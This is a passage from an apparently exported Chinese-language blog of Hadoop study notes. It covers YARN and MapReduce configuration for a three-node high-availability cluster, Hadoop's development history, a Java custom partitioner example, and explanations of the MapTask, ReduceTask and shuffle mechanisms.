&lt;value&gt;512&lt;/value&gt; &lt;/property&gt; &lt;!-- 单个任务可申请最少内存，默认 1024MB --&gt; &lt;property&gt; &lt;name&gt;yarn.scheduler.minimum-allocation-mb&lt;/name&gt; &lt;value&gt;512&lt;/value&gt; &lt;/property&gt; &lt;!-- 单个任务可申请最大内存，默认 8192MB --&gt; &lt;property&gt; &lt;name&gt;yarn.scheduler.maximum-allocation-mb&lt;/name&gt; &lt;value&gt;512&lt;/value&gt; &lt;/property&gt; &lt;!--多长时间聚合删除一次日志 此处--&gt; &lt;property&gt; &lt;name&gt;yarn.log-aggregation.retain-seconds&lt;/name&gt; &lt;value&gt;2592000&lt;/value&gt;&lt;!--30 day--&gt; &lt;/property&gt; &lt;!--时间在几秒钟内保留用户日志。只适用于如果日志聚合是禁用的--&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.log.retain-seconds&lt;/name&gt; &lt;value&gt;604800&lt;/value&gt;&lt;!--7 day--&gt; &lt;/property&gt; &lt;!--指定文件压缩类型用于压缩汇总日志--&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.log-aggregation.compressiontype&lt;/name&gt; &lt;value&gt;gz&lt;/value&gt; &lt;/property&gt; &lt;!-- nodemanager 本地文件存储目录--&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.local-dirs&lt;/name&gt; &lt;value&gt;/export/servers/hadoop-2.7.5/yarn/local&lt;/value&gt; &lt;/property&gt; &lt;!-- resourceManager 保存最大的任务完成个数 --&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.max-completed-applications&lt;/name&gt; &lt;value&gt;1000&lt;/value&gt; &lt;/property&gt; &lt;!-- 逗号隔开的服务列表，列表名称应该只包含 a-zA-Z0-9_,不能以数字开 始--&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.aux-services&lt;/name&gt; &lt;value&gt;mapreduce_shuffle&lt;/value&gt; &lt;/property&gt; &lt;!--rm 失联后重新链接的时间--&gt; &lt;property&gt; &lt;name&gt;yarn.resourcemanager.connect.retry-interval.ms&lt;/name&gt; &lt;value&gt;2000&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 mapred-site.xmlcd /export/servers/hadoop-2.7.5/etc/hadoopvim mapred-site.xml mapred-site.xml&lt;configuration&gt; &lt;!--指定运行 mapreduce 的环境是 yarn --&gt; &lt;property&gt; &lt;name&gt;mapreduce.framework.name&lt;/name&gt; &lt;value&gt;yarn&lt;/value&gt; &lt;/property&gt; &lt;!-- MapReduce JobHistory Server IPC host:port --&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobhistory.address&lt;/name&gt; &lt;value&gt;node03:10020&lt;/value&gt; &lt;/property&gt; &lt;!-- MapReduce JobHistory Server Web UI host:port --&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobhistory.webapp.address&lt;/name&gt; &lt;value&gt;node03:19888&lt;/value&gt; &lt;/property&gt; &lt;!-- The directory where MapReduce stores control files. 默 认 ${hadoop.tmp.dir}/mapred/system --&gt; &lt;property&gt; &lt;name&gt;mapreduce.jobtracker.system.dir&lt;/name&gt; &lt;value&gt;/export/servers/hadoop2.7.5/data/system/jobtracker&lt;/value&gt; &lt;/property&gt; &lt;!-- The amount of memory to request from the scheduler for each map task. 默认 1024--&gt; &lt;property&gt; &lt;name&gt;mapreduce.map.memory.mb&lt;/name&gt; &lt;value&gt;1024&lt;/value&gt; &lt;/property&gt; &lt;!-- &lt;property&gt; &lt;name&gt;mapreduce.map.java.opts&lt;/name&gt; &lt;value&gt;-Xmx1024m&lt;/value&gt; &lt;/property&gt; --&gt; &lt;!-- The amount of memory to request from the scheduler for each reduce task. 默认 1024--&gt; &lt;property&gt; &lt;name&gt;mapreduce.reduce.memory.mb&lt;/name&gt; &lt;value&gt;1024&lt;/value&gt; &lt;/property&gt; &lt;!-- &lt;property&gt; &lt;name&gt;mapreduce.reduce.java.opts&lt;/name&gt; &lt;value&gt;-Xmx2048m&lt;/value&gt; &lt;/property&gt; --&gt; &lt;!-- 用于存储文件的缓存内存的总数量，以兆字节为单位。默认情况下， 分配给每个合并流 1MB，给个合并流应该寻求最小化。默认值 100--&gt; &lt;property&gt; &lt;name&gt;mapreduce.task.io.sort.mb&lt;/name&gt; &lt;value&gt;100&lt;/value&gt; &lt;/property&gt; &lt;!-- &lt;property&gt; &lt;name&gt;mapreduce.jobtracker.handler.count&lt;/name&gt; &lt;value&gt;25&lt;/value&gt; &lt;/property&gt;--&gt; &lt;!-- 整理文件时用于合并的流的数量。这决定了打开的文件句柄的数量。 默认值 10--&gt; &lt;property&gt; &lt;name&gt;mapreduce.task.io.sort.factor&lt;/name&gt; &lt;value&gt;10&lt;/value&gt; &lt;/property&gt; &lt;!-- 默认的并行传输量由 reduce 在 copy(shuffle)阶段。默认值 5--&gt; &lt;property&gt; &lt;name&gt;mapreduce.reduce.shuffle.parallelcopies&lt;/name&gt; &lt;value&gt;25&lt;/value&gt; &lt;/property&gt; &lt;property&gt; &lt;name&gt;yarn.app.mapreduce.am.command-opts&lt;/name&gt; &lt;value&gt;-Xmx1024m&lt;/value&gt; &lt;/property&gt; &lt;!-- MR AppMaster 所需的内存总量。默认值 1536--&gt; &lt;property&gt; &lt;name&gt;yarn.app.mapreduce.am.resource.mb&lt;/name&gt; &lt;value&gt;1536&lt;/value&gt; &lt;/property&gt; &lt;!-- MapReduce 存储中间数据文件的本地目录。目录不存在则被忽略。默 认值${hadoop.tmp.dir}/mapred/local--&gt; &lt;property&gt; &lt;name&gt;mapreduce.cluster.local.dir&lt;/name&gt; &lt;value&gt;/export/servers/hadoop-2.7.5/data/system/local&lt;/value&gt; &lt;/property&gt;&lt;/configuration&gt; 修改 slaves第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim slaves slavesnode01node02node03 修改 hadoop-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hadoop-env.sh hadoop-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 集群启动过程将第一台机器的安装包发送到其他机器上第一台机器执行以下命令 cd /export/serversscp -r hadoop-2.7.5/ node02:$PWDscp -r hadoop-2.7.5/ node03:$PWD 三台机器上共同创建目录三台机器执行以下命令 mkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/namemkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/editsmkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/namemkdir -p /export/servers/hadoop-2.7.5/data/dfs/nn/edits 更改 node02 的 rm2第二台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim yarn-site.xml yarn-site.xml&lt;!--在 node3 上配置 rm1,在 node2 上配置 rm2,注意：一般都喜欢把配置好的文件远程复制到其它机器上，但这个在 YARN 的另一个机器上一定要修改，其他机器上不配置此项注意我们现在有两个 resourceManager 第三台是 rm1 第二台是 rm2这个配置一定要记得去 node02 上面改好--&gt;&lt;property&gt; &lt;name&gt;yarn.resourcemanager.ha.id&lt;/name&gt; &lt;value&gt;rm2&lt;/value&gt; &lt;description&gt;If we want to launch more than one RM in single node, we need this configuration&lt;/description&gt;&lt;/property&gt; 启动 HDFS 过程node01 机器执行以下命令 cd /export/servers/hadoop-2.7.5bin/hdfs zkfc -formatZKsbin/hadoop-daemons.sh start journalnodebin/hdfs namenode -formatbin/hdfs namenode -initializeSharedEdits -forcesbin/start-dfs.sh jps node02 上面执行 cd /export/servers/hadoop-2.7.5bin/hdfs namenode -bootstrapStandbysbin/hadoop-daemon.sh start namenode 启动 yarn 过程node03 上面执行 cd /export/servers/hadoop-2.7.5sbin/start-yarn.sh node02 上执行 cd /export/servers/hadoop-2.7.5sbin/start-yarn.sh 查看 resourceManager 状态node03 上面执行 cd /export/servers/hadoop-2.7.5bin/yarn rmadmin -getServiceState rm1 node02 上面执行 cd /export/servers/hadoop-2.7.5bin/yarn rmadmin -getServiceState rm2 启动 jobHistorynode03 机器执行以下命令启动 jobHistory cd /export/servers/hadoop-2.7.5sbin/mr-jobhistory-daemon.sh start historyserver hdfs 状态查看node01 机器查看 hdfs 状态http://192.168.52.100:50070/dfshealth.html#tab-overview node02 机器查看 hdfs 状态http://192.168.52.110:50070/dfshealth.html#tab-overview yarn 集群访问查看http://192.168.52.120:8088/cluster 历史任务浏览界面页面访问：http://192.168.52.120:19888/jobhistory"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2022-05-10T02:57:00.000Z","comments":true,"path":"notes/Hadoop/history.html","permalink":"https://blog.mhuig.top/notes/Hadoop/history","excerpt":"","text":"发展历史 大数据处理技术 - hadoop 的介绍以及发展历史 Hadoop 是什么？Hadoop: The Definitive Guide 谁说大象不能跳舞？！ —— 挑战互联网规模的数据存储与分析！ Hadoop：适合大数据的分布式存储和计算平台. Hadoop 不是指具体一个框架或者组件，它是 Apache 软件基金会下用 Java 语言开发的一个开源分布式计算平台。实现在大量计算机组成的集群中对海量数据进行分布式计算。适合大数据的分布式存储和计算平台。 Hadoop1.x 中包括两个核心组件：MapReduce 和 Hadoop Distributed File System (HDFS). 其中 HDFS 负责将海量数据进行分布式存储，而 MapReduce 负责提供对数据的计算结果的汇总. Hadoop 的起源Hadoop 最早起源于 Nutch。 Nutch 的设计目标是构建一个大型的全网搜索引擎，包括网页抓取、索引、查询等功能，但随着抓取网页数量的增加，遇到了严重的可扩展性问题 —— 如何解决数十亿网页的存储和索引问题。 2003 年、2004 年谷歌发表的两篇论文为该问题提供了可行的解决方案。 分布式文件系统 GFS，可用于处理海量网页的存储 分布式计算框架 MAPREDUCE，可用于处理海量网页的索引计算问题。 Nutch 的开发人员完成了相应的开源实现 HDFS 和 MAPREDUCE，并从 Nutch 中剥离成为独立项目 HADOOP，到 2008 年 1 月，HADOOP 成为 Apache 顶级项目 (同年，cloudera 公司成立)，迎来了它的快速发展期。狭义上来说，hadoop 就是单独指代 hadoop 这个软件，广义上来说，hadoop 指代大数据的一个生态圈，包括很多其他的软件. 2003-2004 年，Google 公布了部分 GFS 和 MapReduce 思想的细节，受此启发的 Doug Cutting 等人用 2 年的业余时间实现了 DFS 和 MapReduce 机制，使 Nutch 性能飙升，然后 Yahoo 招安 Doug Gutting 及其项目。 2005 年，Hadoop 作为 Lucene 的子项目 Nutch 的一部分正式引入 Apache 基金会。 2006 年 2 月被分离出来，成为一套完整独立的软件，起名为 Hadoop Hadoop 名字不是一个编写，而是一个生造出来的词。是 Hadoop 之父 Doug Cutting 儿子毛线玩具象命名的。 Hadoop 的成长过程 Lucene -&gt; Nutch -&gt; Hadoop 总结起来，Hadoop 起源于 Google 的三大论文 GFS：Google 的分布式文件系统 Google File System MapReduce：Google 的 MapReduce 开源分布式并行计算框架 BigTable：一个大型的分布式数据库 演变关系 GFS -&gt; HDFSGoogle MapReduce —&gt; Hadoop MapReduceBig Table —&gt; HBase Hadoop 发展史2004 年 —— 最初的版本（现在称为 HDFS 和 MapReduce) 由 Doug Cutting 和 Mike Cafarella 开始实施。2005 年 12 月 —— Nutch 移植到新的框架，Hadoop 在 20 个节点上稳定运行。2006 年 1 月 —— Doug Cutting 加入雅虎。2006 年 2 月 —— Apache Hadoop 项目正式启动以支持 MapReduce 和 HDFS 的独立发展。2006 年 2 月 —— 雅虎的网格计算团队采用 Hadoop。2006 年 4 月 —— 标准排序（10GB 每个节点）在 188 个节点上运行 47.9 个小时。2006 年 5 月 —— 雅虎建立了一个 300 个节点的 Hadoop 研究集群。2006 年 5 月 —— 标准排序在 500 个节点上运行 42 个小时（硬件配置比 4 月的更好）。2006 年 11 月 —— 研究集群增加到 600 个节点。2006 年 12 月 —— 标准排序在 20 个节点上运行 1.8 个小时，100 个节点 3.3 小时，500 个节点 5.2 小时，900 个节点 7.8 个小时。2007 年 1 月 —— 研究集群到达 900 个节点。2007 年 4 月 —— 研究集群达到两个 1000 个节点的集群。2008 年 4 月 —— 赢得世界最快 1TB 数据排序在 900 个节点上用时 209 秒。2008 年 7 月 —— 雅虎测试节点增加到 4000 个2008 年 9 月 —— Hive 成为 Hadoop 的子项目2008 年 11 月 —— Google 宣布其 MapReduce 用 68 秒对 1TB 的程序进行排序2008 年 10 月 —— 研究集群每天装载 10TB 的数据。2008 年 —— 淘宝开始投入研究基于 Hadoop 的系统 - 云梯。云梯总容量约 9.3PB，共有 1100 台机器，每天处理 18000 道作业，扫描 500TB 数据。2009 年 3 月 —— 17 个集群总共 24000 台机器。2009 年 3 月 —— Cloudera 推出 CDH (Cloudera’s Dsitribution Including Apache Hadoop)2009 年 4 月 —— 赢得每分钟排序，雅虎 59 秒内排序 500GB（在 1400 个节点上）和 173 分钟内排序 100TB 数据（在 3400 个节点上）。2009 年 5 月 —— Yahoo 的团队使用 Hadoop 对 1 TB 的数据进行排序只花了 62 秒时间。2009 年 7 月 —— Hadoop Core 项目更名为 Hadoop Common;2009 年 7 月 —— MapReduce 和 Hadoop Distributed File System (HDFS) 成为 Hadoop 项目的独立子项目。2009 年 7 月 —— Avro 和 Chukwa 成为 Hadoop 新的子项目。2009 年 9 月 —— 亚联 BI 团队开始跟踪研究 Hadoop2009 年 12 月 —— 亚联提出橘云战略，开始研究 Hadoop2010 年 5 月 —— Avro 脱离 Hadoop 项目，成为 Apache 顶级项目。2010 年 5 月 —— HBase 脱离 Hadoop 项目，成为 Apache 顶级项目。2010 年 5 月 —— IBM 提供了基于 Hadoop 的大数据分析软件 ——InfoSphere Biglnsights，包括基础版和企业版。2010 年 9 月 —— Hive (Facebook) 脱离 Hadoop，成为 Apache 顶级项目。2010 年 9 月 —— Pig 脱离 Hadoop，成为 ApacheJ 顶级项目。2011 年 1 月 —— zooKeeper 脱离 Hadoop，成为 Apache 顶级项目。2011 年 3 月 —— Apache Hadoop 获得 Media Guardian Innovation Awards。2011 年 3 月 —— Platform Computing 宣布在它的 Symphony 软件中支持 Hadoop MapReduce APl。2011 年 5 月 —— Mapr Technologies 公司推出分布式文件系统和 MapReduce 引擎 ——MapR Distribution for Apache Hadoop。2011 年 5 月 —— HCatalog 1.0 发布。该项目由 Hortonworks 在 2010 年 3 月份提出，HCatalog 主要用于解决数据存储、元数据的问题，主要解决 HDFS 的瓶颈，它提供了一个地方来存储数据的状态信息，这使得数据清理和归档工具可以很容易的进行处理。2011 年 4 月 —— SGI (Silicon Graphics International) 基于 SGI Rackable 和 CloudRack 服务器产品线提供 Hadoop 优化的解决方案。 Hadoop 的历史版本介绍0.x 系列版本：hadoop 当中最早的一个开源版本，在此基础上演变而来的 1.x 以及 2.x 的版本 1.x 版本系列：hadoop 版本当中的第二代开源版本，主要修复 0.x 版本的一些 bug 等 2.x 版本系列：架构产生重大变化，引入了 yarn 平台等许多新特性 三大公司发行版本免费开源版本 Apachehttp://hadoop.apache.org/ 优点：拥有全世界的开源贡献者，代码更新迭代版本比较快 缺点：版本的升级，版本的维护，版本的兼容性，版本的补丁都可能考虑不太周到，学习可以用，实际生产工作环境尽量不要使用 apache 所有软件的下载地址（包括各种历史版本）： http://archive.apache.org/dist/ 免费开源版本 HortonWorkshttps://hortonworks.com/ hortonworks 主要是雅虎主导 Hadoop 开发的副总裁，带领二十几个核心成员成立 Hortonworks，核心产品软件 HDP（ambari），HDF 免费开源，并且提供一整套的 web 管理界面，供我们可以通过 web 界面管理我们的集群状态，web 管理界面软件 HDF 网址（http://ambari.apache.org/） 软件收费版本 ClouderaManagerhttps://www.cloudera.com/ cloudera 主要是美国一家大数据公司在 apache 开源 hadoop 的版本上，通过自己公司内部的各种补丁，实现版本之间的稳定运行，大数据生态圈的各个版本的软件都提供了对应的版本，解决了版本的升级困难，版本兼容性等各种问题，生产环境强烈推荐使用"},{"title":"","date":"2022-05-10T02:47:00.000Z","updated":"2022-05-10T02:47:00.000Z","comments":true,"path":"notes/Hadoop/index.html","permalink":"https://blog.mhuig.top/notes/Hadoop/","excerpt":"","text":".fa-secondary{opacity:.4} Hadoop Hadoop .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-19T08:38:00.000Z","updated":"2022-05-11T12:46:00.000Z","comments":true,"path":"notes/Hadoop/mapreduce-mechanism.html","permalink":"https://blog.mhuig.top/notes/Hadoop/mapreduce-mechanism","excerpt":"","text":"MapReduce 运行机制 大数据处理技术 - Hadoop-MapReduce 的运行机制 Partitioner在 MapReduce 中，通过我们指定分区，会将同一个分区的数据发送到同一个 reduce 当中进行处理，例如我们为了数据的统计，我们可以把一批类似的数据发送到同一个 reduce 当中去，在同一个 reduce 当中统计相同类型的数据，就可以实现类似数据的分区，统计等说白了就是相同类型的数据，送到一起去处理，在 reduce 当中默认分区只有 1 个。MapReduce 当中的分区类图 需求：将以下数据进行分开处理详细数据参见 partition.csv 这个文本文件，其中第五个字段表示开奖结果数值，现在需求将 15 以上的结果以及 15 以下的结果进行分开成两个文件进行保存 注意：分区的案例，只能打成 jar 包发布到集群上面去运行，本地模式已经不能正常运行了 第一步：定义 mapper我们这里的 mapper 程序不做任何逻辑，也不对 key，与 value 做任何改变，只是接收我们的数据，然后往下发送 public class MyMapper extends Mapper&lt;LongWritable,Text,Text,NullWritable&gt;{ @Override protected void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { context.write(value,NullWritable.get()); }} 第二步：定义 reducer 逻辑我们的 reducer 也不做任何处理，将我们的数据原封不动的输出即可 public class MyReducer extends Reducer&lt;Text,NullWritable,Text,NullWritable&gt; { @Override protected void reduce(Text key, Iterable&lt;NullWritable&gt; values, Context context) throws IOException, InterruptedException { context.write(key,NullWritable.get()); }} 第三步：自定义 partitioner/*** 这里的输入类型与我们 map 阶段的输出类型相同*/public class MyPartitioner extends Partitioner&lt;Text,NullWritable&gt;{ /** * 返回值表示我们的数据要去到哪个分区 * 返回值只是一个分区的标记，标记所有相同的数据去到指定的分区 */ @Override public int getPartition(Text text, NullWritable nullWritable, int i) { String result = text.toString().split(\"\\t\")[5]; System.out.println(result); if (Integer.parseInt(result) &gt; 15){ return 1; }else{ return 0; } }} 第四步：程序 main 函数入口public class PartitionMain extends Configured implements Tool { public static void main(String[] args) throws Exception{ int run = ToolRunner.run(new Configuration(), new PartitionMain(), args); System.exit(run); } @Override public int run(String[] args) throws Exception { Job job = Job.getInstance(super.getConf(),PartitionMain.class.getSimpleName()); job.setJarByClass(PartitionMain.class); job.setInputFormatClass(TextInputFormat.class); job.setOutputFormatClass(TextOutputFormat.class); TextInputFormat.addInputPath(job,new Path(\"hdfs://192.168.52.100:8020/partitioner\")); TextOutputFormat.setOutputPath(job,new Path(\"hdfs://192.168.52.100:8020/outpartition\")); job.setMapperClass(MyMapper.class); job.setMapOutputKeyClass(Text.class); job.setMapOutputValueClass(NullWritable.class); job.setOutputKeyClass(Text.class); job.setMapOutputValueClass(NullWritable.class); job.setReducerClass(MyReducer.class); /** * 设置我们的分区类，以及我们的 reducetask 的个数，注意 reduceTask 的个数一定要与我们的 * 分区数保持一致 */ job.setPartitionerClass(MyPartitioner.class); job.setNumReduceTasks(2); boolean b = job.waitForCompletion(true); return b?0:1; }} MapTask 整个 Map 阶段流程大体如上图所示。简单概述：inputFile 通过 split 被逻辑切分为多个 split 文件，通过 Record 按行读取内容给 map（用户自己实现的）进行处理，数据被 map 处理结束之后交给 OutputCollector 收集器，对其结果 key 进行分区（默认使用 hash 分区），然后写入 buffer，每个 map task 都有一个内存缓冲区，存储着 map 的输出结果，当缓冲区快满的时候需要将缓冲区的数据以一个临时文件的方式存放到磁盘，当整个 map task 结束后再对磁盘中这个 map task 产生的所有临时文件做合并，生成最终的正式输出文件，然后等待 reduce task 来拉数据。 详细步骤： 1、 首先，读取数据组件 InputFormat （默认 TextInputFormat ）会通过 getSplits 方法对输入目录中文件进行逻辑切片规划得到 splits，有多少个 split 就对应启动多少个 MapTask 。split 与 block 的对应关系默认是一对一。 2、 将输入文件切分为 splits 之后，由 RecordReader 对象（默认 LineRecordReader ）进行读取，以 \\n 作为分隔符，读取一行数据，返回 &lt;key，value&gt;。Key 表示每行首字符偏移值，value 表示这一行文本内容。 3、 读取 split 返回 &lt;key,value&gt;，进入用户自己继承的 Mapper 类中，执行用户重写的 map 函数。RecordReader 读取一行这里调用一次。 4、 map 逻辑完之后，将 map 的每条结果通过 context.write 进行 collect 数据收集。在 collect 中，会先对其进行分区处理，默认使用 HashPartitioner。MapReduce 提供 Partitioner 接口，它的作用就是根据 key 或 value 及 reduce 的数量来决定当前的这对输出数据最终应该交由哪个 reduce task 处理。默认对 keyhash 后再以 reduce task 数量取模。默认的取模方式只是为了平均 reduce 的处理能力，如果用户自己对 Partitioner 有需求，可以订制并设置到 job 上。 5、接下来，会将数据写入内存，内存中这片区域叫做环形缓冲区，缓冲区的作用是批量收集 map 结果，减少磁盘 IO 的影响。我们的 key/value 对以及 Partition 的结果都会被写入缓冲区。当然写入之前，key 与 value 值都会被序列化成字节数组。 环形缓冲区其实是一个数组，数组中存放着 key、value 的序列化数据和 key、value 的元数据信息，包括 partition、key 的起始位置、value 的起始位置以及 value 的长度。环形结构是一个抽象概念。 缓冲区是有大小限制，默认是 100MB。当 map task 的输出结果很多时，就可能会撑爆内存，所以需要在一定条件下将缓冲区中的数据临时写入磁盘，然后重新利用这块缓冲区。这个从内存往磁盘写数据的过程被称为 Spill，中文可译为溢写。这个溢写是由单独线程来完成，不影响往缓冲区写 map 结果的线程。溢写线程启动时不应该阻止 map 的结果输出，所以整个缓冲区有个溢写的比例 spill.percent。这个比例默认是 0.8，也就是当缓冲区的数据已经达到阈值（buffer size * spill percent = 100MB * 0.8 = 80MB），溢写线程启动，锁定这 80MB 的内存，执行溢写过程。Map task 的输出结果还可以往剩下的 20MB 内存中写，互不影响。 6、当溢写线程启动后，需要对这 80MB 空间内的 key 做 排序 Sort。排序是 MapReduce 模型默认的行为，这里的排序也是对序列化的字节做的排序。 如果 job 设置过 Combiner，那么现在就是使用 Combiner 的时候了。将有相同 key 的 key/value 对的 value 加起来，减少溢写到磁盘的数据量。Combiner 会优化 MapReduce 的中间结果，所以它在整个模型中会多次使用。 那哪些场景才能使用 Combiner 呢？从这里分析，Combiner 的输出是 Reducer 的输入，Combiner 绝不能改变最终的计算结果。Combiner 只应该用于那种 Reduce 的输入 key/value 与输出 key/value 类型完全一致，且不影响最终结果的场景。比如累加，最大值等。Combiner 的使用一定得慎重，如果用好，它对 job 执行效率有帮助，反之会影响 reduce 的最终结果。 7、合并溢写文件： 每次溢写会在磁盘上生成一个临时文件（写之前判断是否有 combiner），如果 map 的输出结果真的很大，有多次这样的溢写发生，磁盘上相应的就会有多个临时文件存在。当整个数据处理结束之后开始对磁盘中的临时文件进行 merge 合并，因为最终的文件只有一个，写入磁盘，并且为这个文件提供了一个索引文件，以记录每个 reduce 对应数据的偏移量。至此 map 整个阶段结束。 mapTask 的一些基础设置配置（mapred-site.xml 当中）：http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.14.0/hadoopmapreduce-client/hadoop-mapreduce-client-core/mapred-default.xml 设置一：设置环型缓冲区的内存值大小（默认设置如下） mapreduce.task.io.sort.mb 100 设置二：设置溢写百分比（默认设置如下） mapreduce.map.sort.spill.percent 0.80 设置三：设置溢写数据目录（默认设置） mapreduce.cluster.local.dir ${hadoop.tmp.dir}/mapred/local 设置四：设置一次最多合并多少个溢写文件（默认设置如下） mapreduce.task.io.sort.factor 10 ReduceTask Reduce 大致分为 copy、sort、reduce 三个阶段，重点在前两个阶段。copy 阶段包含一个 eventFetcher 来获取已完成的 map 列表，由 Fetcher 线程去 copy 数据，在此过程中会启动两个 merge 线 程 ， 分 别 为 inMemoryMerger 和 onDiskMerger，分别将内存中的数据 merge 到磁盘和将磁盘中的数据进行 merge。待数据 copy 完成之后，copy 阶段就完成了，开始进行 sort 阶段，sort 阶段主要是执行 finalMerge 操作，纯粹的 sort 阶段。完成之后就是 reduce 阶段，调用用户定义的 reduce 函数进行处理。 详细步骤： 1、Copy 阶段，简单地拉取数据。Reduce 进程启动一些数据 copy 线程 (Fetcher)，通过 HTTP 方式请求 maptask 获取属于自己的文件。2、Merge 阶段。这里的 merge 如 map 端的 merge 动作，只是数组中存放的是不同 map 端 copy 来的数值。Copy 过来的数据会先放入内存缓冲区中，这里的缓冲区大小要比 map 端的更为灵活。merge 有三种形式：内存到内存；内存到磁盘；磁盘到磁盘。默认情况下第一种形式不启用。当内存中的数据量到达一定阈值，就启动内存到磁盘的 merge。与 map 端类似，这也是溢写的过程，这个过程中如果你设置有 Combiner，也是会启用的，然后在磁盘中生成了众多的溢写文件。第二种 merge 方式一直在运行，直到没有 map 端的数据时才结束，然后启动第三种磁盘到磁盘的 merge 方式生成最终的文件。3、合并排序。把分散的数据合并成一个大的数据后，还会再对合并后的数据排序。4、对排序后的键值对调用 reduce 方法，键相等的键值对调用一次 reduce 方法，每次调用会产生零个或者多个键值对，最后把这些输出的键值对写入到 HDFS 文件中。 Shufflemap 阶段处理的数据如何传递给 reduce 阶段，是 MapReduce 框架中最关键的一个流程，这个流程就叫 shuffle。shuffle: 洗牌、发牌 ——（核心机制：数据分区，排序，分组，规约，合并等过程）。 shuffle 是 Mapreduce 的核心，它分布在 Mapreduce 的 map 阶段和 reduce 阶段。一般把从 Map 产生输出开始到 Reduce 取得数据作为输入之前的过程称作 shuffle。 Collect 阶段：将 MapTask 的结果输出到默认大小为 100M 的环形缓冲区，保存的是 key/value，Partition 分区信息等。 Spill 阶段：当内存中的数据量达到一定的阀值的时候，就会将数据写入本地磁盘，在将数据写入磁盘之前需要对数据进行一次排序的操作，如果配置了 combiner，还会将有相同分区号和 key 的数据进行排序。 Merge 阶段：把所有溢出的临时文件进行一次合并操作，以确保一个 MapTask 最终只产生一个中间数据文件。 Copy 阶段：ReduceTask 启动 Fetcher 线程到已经完成 MapTask 的节点上复制一份属于自己的数据，这些数据默认会保存在内存的缓冲区中，当内存的缓冲区达到一定的阀值的时候，就会将数据写到磁盘之上。 Merge 阶段：在 ReduceTask 远程复制数据的同时，会在后台开启两个线程对内存到本地的数据文件进行合并操作。 Sort 阶段：在对数据进行合并的同时，会进行排序操作，由于 MapTask 阶段已经对数据进行了局部的排序，ReduceTask 只需保证 Copy 的数据的最终整体有效性即可。 Shuffle 中的缓冲区大小会影响到 mapreduce 程序的执行效率，原则上说，缓冲区越大，磁盘 io 的次数越少，执行速度就越快缓冲区的大小可以通过参数调整，参数：mapreduce.task.io.sort.mb 默认 100M"},{"title":"","date":"2019-09-19T08:38:00.000Z","updated":"2022-05-11T12:46:00.000Z","comments":true,"path":"notes/Hadoop/mapreduce.html","permalink":"https://blog.mhuig.top/notes/Hadoop/mapreduce","excerpt":"","text":"MapReduce 大数据处理技术 - Hadoop-MapReduce 理解 MapReduce 思想MapReduce 思想在生活中处处可见。或多或少都曾接触过这种思想。MapReduce 的思想核心是 “分而治之”，适用于大量复杂的任务处理场景（大规模数据处理场景）。即使是发布过论文实现分布式计算的谷歌也只是实现了这种思想，而不是自己原创。 Map 负责 “分”，即把复杂的任务分解为若干个 “简单的任务” 来并行处理。可以进行拆分的前提是这些小任务可以并行计算，彼此间几乎没有依赖关系。Reduce 负责 “合”，即对 map 阶段的结果进行全局汇总。 这两个阶段合起来正是 MapReduce 思想的体现。 还有一个比较形象的语言解释 MapReduce：我们要数图书馆中的所有书。你数 1 号书架，我数 2 号书架。这就是 Map。我们人越多，数书就更快。现在我们到一起，把所有人的统计数加在一起。这就是 Reduce。 Hadoop MapReduce 设计构思MapReduce 是一个分布式运算程序的编程框架，核心功能是将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序，并发运行在 Hadoop 集群上。既然是做计算的框架，那么表现形式就是有个输入 input，MapReduce 操作这个输入 input，通过本身定义好的计算模型，得到一个输出 output。对许多开发者来说，自己完完全全实现一个并行计算程序难度太大，而 MapReduce 就是一种简化并行计算的编程模型，降低了开发并行应用的入门门槛。 Hadoop MapReduce 构思体现在如下的三个方面： 如何对付大数据处理：分而治之对相互间不具有计算依赖关系的大数据，实现并行最自然的办法就是采取分而治之的策略。并行计算的第一个重要问题是如何划分计算任务或者计算数据以便对划分的子任务或数据块同时进行计算。不可分拆的计算任务或相互间有依赖关系的数据无法进行并行计算！ 构建抽象模型：Map 和 ReduceMapReduce 借鉴了函数式语言中的思想，用 Map 和 Reduce 两个函数提供了高层的并行编程抽象模型。Map: 对一组数据元素进行某种重复式的处理；Reduce: 对 Map 的中间结果进行某种进一步的结果整理。MapReduce 中定义了如下的 Map 和 Reduce 两个抽象的编程接口，由用户去编程实现: map: (k1; v1) → [(k2; v2)]reduce: (k2; [v2]) → [(k3; v3)] Map 和 Reduce 为程序员提供了一个清晰的操作接口抽象描述。通过以上两个编程接口，大家可以看出 MapReduce 处理的数据类型是 &lt;key,value&gt; 键值对。 统一构架，隐藏系统层细节如何提供统一的计算框架，如果没有统一封装底层细节，那么程序员则需要考虑诸如数据存储、划分、分发、结果收集、错误恢复等诸多细节；为此，MapReduce 设计并提供了统一的计算框架，为程序员隐藏了绝大多数系统层面的处理细节。MapReduce 最大的亮点在于通过抽象模型和计算框架把需要做什么 whatneed to do 与具体怎么做 how to do 分开了，为程序员提供一个抽象和高层的编程接口和框架。程序员仅需要关心其应用层的具体计算问题，仅需编写少量的处理应用本身计算问题的程序代码。如何具体完成这个并行计算任务所相关的诸多系统层细节被隐藏起来，交给计算框架去处理：从分布代码的执行，到大到数千小到单个节点集群的自动调度使用。 MapReduce 框架结构一个完整的 mapreduce 程序在分布式运行时有三类实例进程： 1、MRAppMaster：负责整个程序的过程调度及状态协调 2、MapTask：负责 map 阶段的整个数据处理流程 3、ReduceTask：负责 reduce 阶段的整个数据处理流程 MapReduce 编程规范MapReduce 编程模型的总结：MapReduce 的开发一共有八个步骤其中 map 阶段分为 2 个步骤，shuffle 